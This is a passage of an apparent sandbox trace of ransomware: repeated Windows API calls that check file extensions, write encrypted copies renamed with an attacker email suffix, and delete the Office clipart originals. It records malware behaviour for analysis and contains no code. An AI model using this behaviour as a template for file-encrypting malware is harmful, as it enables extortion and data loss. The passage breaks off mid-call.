Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0184.742] lstrlenW (lpString=".zip") returned 4 [0184.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.742] lstrlenW (lpString=".rar") returned 4 [0184.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.742] lstrlenW (lpString=".bz2") returned 4 [0184.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.742] lstrlenW (lpString=".7z") returned 3 [0184.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0184.742] lstrlenW (lpString=".dbf") returned 4 [0184.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0184.743] lstrlenW (lpString=".1cd") returned 4 [0184.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0184.743] lstrlenW (lpString=".jpg") returned 4 [0184.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.744] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1940) returned 1 [0184.744] CloseHandle (hObject=0x36c) returned 1 [0184.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 0x220 [0184.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.021] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.022] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.026] GetLastError () returned 0x0 [0185.026] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x794, lpOverlapped=0x0) returned 1 [0185.027] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7a0, lpOverlapped=0x0) returned 1 [0185.029] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.029] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.029] SetEndOfFile (hFile=0x530) returned 1 [0185.029] CloseHandle (hObject=0x530) returned 1 [0185.029] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.068] SetEndOfFile (hFile=0x378) returned 1 [0185.073] CloseHandle (hObject=0x378) returned 1 [0185.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0185.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0185.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0185.075] lstrlenW (lpString=".doc") returned 4 [0185.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.075] lstrlenW (lpString=".docx") returned 5 [0185.075] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0185.075] lstrlenW (lpString=".pdf") returned 4 [0185.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.075] lstrlenW (lpString=".xls") returned 4 [0185.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.075] lstrlenW (lpString=".xlsx") returned 5 [0185.075] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0185.075] lstrlenW (lpString=".ppt") returned 4 [0185.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0185.075] lstrlenW (lpString=".zip") returned 4 [0185.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.076] lstrlenW (lpString=".rar") returned 4 [0185.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.076] lstrlenW (lpString=".bz2") returned 4 [0185.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.076] lstrlenW (lpString=".7z") returned 3 [0185.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0185.076] lstrlenW (lpString=".dbf") returned 4 [0185.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0185.076] lstrlenW (lpString=".1cd") returned 4 [0185.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0185.076] lstrlenW (lpString=".jpg") returned 4 [0185.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.078] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1912) returned 1 [0185.078] CloseHandle (hObject=0x378) returned 1 [0185.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 0x220 [0185.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.081] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.081] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.082] GetLastError () returned 0x0 [0185.082] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x778, lpOverlapped=0x0) returned 1 [0185.084] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x780, lpOverlapped=0x0) returned 1 [0185.246] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.246] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.246] SetEndOfFile (hFile=0x530) returned 1 [0185.247] CloseHandle (hObject=0x530) returned 1 [0185.247] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.247] SetEndOfFile (hFile=0x378) returned 1 [0185.250] CloseHandle (hObject=0x378) returned 1 [0185.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0185.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0185.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0185.252] lstrlenW (lpString=".doc") returned 4 [0185.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.252] lstrlenW (lpString=".docx") returned 5 [0185.252] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0185.252] lstrlenW (lpString=".pdf") returned 4 [0185.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.252] lstrlenW (lpString=".xls") returned 4 [0185.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.252] lstrlenW (lpString=".xlsx") returned 5 [0185.252] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0185.252] lstrlenW (lpString=".ppt") returned 4 [0185.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0185.252] lstrlenW (lpString=".zip") returned 4 [0185.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.252] lstrlenW (lpString=".rar") returned 4 [0185.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.252] lstrlenW (lpString=".bz2") returned 4 [0185.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.253] lstrlenW (lpString=".7z") returned 3 [0185.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0185.253] lstrlenW (lpString=".dbf") returned 4 [0185.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0185.253] lstrlenW (lpString=".1cd") returned 4 [0185.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0185.253] lstrlenW (lpString=".jpg") returned 4 [0185.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.254] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3704) returned 1 [0185.254] CloseHandle (hObject=0x378) returned 1 [0185.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 0x220 [0185.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.256] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.256] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.257] GetLastError () returned 0x0 [0185.257] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xe78, lpOverlapped=0x0) returned 1 [0185.259] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe80, lpOverlapped=0x0) returned 1 [0185.260] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.260] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.261] SetEndOfFile (hFile=0x530) returned 1 [0185.261] CloseHandle (hObject=0x530) returned 1 [0185.261] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.261] SetEndOfFile (hFile=0x378) returned 1 [0185.264] CloseHandle (hObject=0x378) returned 1 [0185.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0185.266] lstrlenW (lpString=".doc") returned 4 [0185.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.266] lstrlenW (lpString=".docx") returned 5 [0185.266] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0185.266] lstrlenW (lpString=".pdf") returned 4 [0185.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.266] lstrlenW (lpString=".xls") returned 4 [0185.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.266] lstrlenW (lpString=".xlsx") returned 5 [0185.266] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0185.266] lstrlenW (lpString=".ppt") returned 4 [0185.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0185.266] lstrlenW (lpString=".zip") returned 4 [0185.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.266] lstrlenW (lpString=".rar") returned 4 [0185.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.267] lstrlenW (lpString=".bz2") returned 4 [0185.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.267] lstrlenW (lpString=".7z") returned 3 [0185.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0185.267] lstrlenW (lpString=".dbf") returned 4 [0185.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0185.267] lstrlenW (lpString=".1cd") returned 4 [0185.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0185.267] lstrlenW (lpString=".jpg") returned 4 [0185.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.270] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3008) returned 1 [0185.270] CloseHandle (hObject=0x378) returned 1 [0185.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 0x220 [0185.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.272] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.272] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.273] GetLastError () returned 0x0 [0185.273] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xbc0, lpOverlapped=0x0) returned 1 [0185.275] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0185.277] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.277] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.277] SetEndOfFile (hFile=0x530) returned 1 [0185.278] CloseHandle (hObject=0x530) returned 1 [0185.278] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.278] SetEndOfFile (hFile=0x378) returned 1 [0185.281] CloseHandle (hObject=0x378) returned 1 [0185.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0185.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0185.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0185.283] lstrlenW (lpString=".doc") returned 4 [0185.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.283] lstrlenW (lpString=".docx") returned 5 [0185.283] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0185.283] lstrlenW (lpString=".pdf") returned 4 [0185.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.283] lstrlenW (lpString=".xls") returned 4 [0185.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.283] lstrlenW (lpString=".xlsx") returned 5 [0185.283] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0185.283] lstrlenW (lpString=".ppt") returned 4 [0185.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0185.283] lstrlenW (lpString=".zip") returned 4 [0185.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.283] lstrlenW (lpString=".rar") returned 4 [0185.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.283] lstrlenW (lpString=".bz2") returned 4 [0185.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.283] lstrlenW (lpString=".7z") returned 3 [0185.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0185.283] lstrlenW (lpString=".dbf") returned 4 [0185.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0185.284] lstrlenW (lpString=".1cd") returned 4 [0185.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0185.284] lstrlenW (lpString=".jpg") returned 4 [0185.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.480] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=20096) returned 1 [0185.480] CloseHandle (hObject=0x378) returned 1 [0185.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 0x220 [0185.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.481] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.482] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 